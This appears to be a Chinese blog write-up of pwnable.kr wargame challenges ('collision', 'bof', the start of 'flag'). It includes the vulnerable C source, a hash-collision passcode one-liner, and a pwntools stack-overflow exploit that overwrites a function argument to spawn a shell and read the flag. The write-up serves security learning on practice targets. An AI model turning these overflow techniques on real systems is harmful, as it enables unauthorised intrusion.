pwnable.kr刷题记录

fd

这个比较简单,我就跳过了哈~

collision

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
                res += ip[i];
        }
        return res;
}

int main(int argc, char* argv[]){
        if(argc<2){
                printf("usage : %s [passcode]\n", argv[0]);
                return 0;
        }
        if(strlen(argv[1]) != 20){
                printf("passcode length should be 20 bytes\n");
                return 0;
        }

        if(hashcode == check_password( argv[1] )){
                system("/bin/cat flag");
                return 0;
        }
        else
                printf("wrong passcode.\n");
        return 0;
}

主要问题在于:由check_password() 可知,20 字节的字符串被转换成 5 组数字,返回值为五组数字的和,所以 passcode 由 5 个和为 0x21DD09EC 的数构成

col@pwnable:~$ ./col `python -c "print '\x01\x01\x01\x01'*4 + '\xe8\x05\xd9\x1d'"`
daddy! I just managed to create a hash collision :)

3. bof

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

这题checksec之后发现

桌面$ checksec bof
[*] '/home/pwn/桌面/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

虽然这题有canary...但是不要慌,用不着等他检查了,这题不是在返回之后的溢出,是只要把传入的参数给覆盖掉就可以了...
反汇编出来是这个:

unsigned int __cdecl func(int a1)
{
  char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  puts("overflow me : ");
  gets(s);
  if ( a1 == -889275714 )
    system("/bin/sh");
  else
    puts("Nah..");
  return __readgsdword(0x14u) ^ v3;
}

所以直接溢出0x2c

在加上ebp与ret共8个,然后参数在ret之上四个字节。

exp:

from pwn import *

payload=b"a"*0x34+p32(0xcafebabe)

io=remote("pwnable.kr",9000)

io.sendline(payload)

io.interactive()

桌面$ python3 exp2.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)

4. flag

这一题是个逆向题,第一步是拖到ida里面看一下,发现upx字样,基本上就可以确定加了upx壳了
用upx脱壳,然后再拖到ida里面。

posted @ 2021-01-10 21:32  four1er  阅读(109)  评论(0)    收藏  举报